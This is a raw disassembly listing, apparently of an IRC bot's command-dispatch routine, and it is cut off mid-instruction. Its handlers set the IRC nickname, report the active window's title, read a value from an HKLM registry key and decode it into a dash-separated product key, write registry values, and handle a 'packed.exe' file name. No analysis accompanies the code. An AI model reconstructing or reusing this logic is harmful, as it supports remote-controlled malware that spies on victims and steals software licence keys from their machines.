var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call ds:dword_4171D8 ; GetForegroundWindow push eax call ds:dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call ds:dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset aS ; "%s" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA68 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC30 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA48 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, [ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF48 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aPacked_exe_0 ; "packed.exe" call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF48 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF48 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop 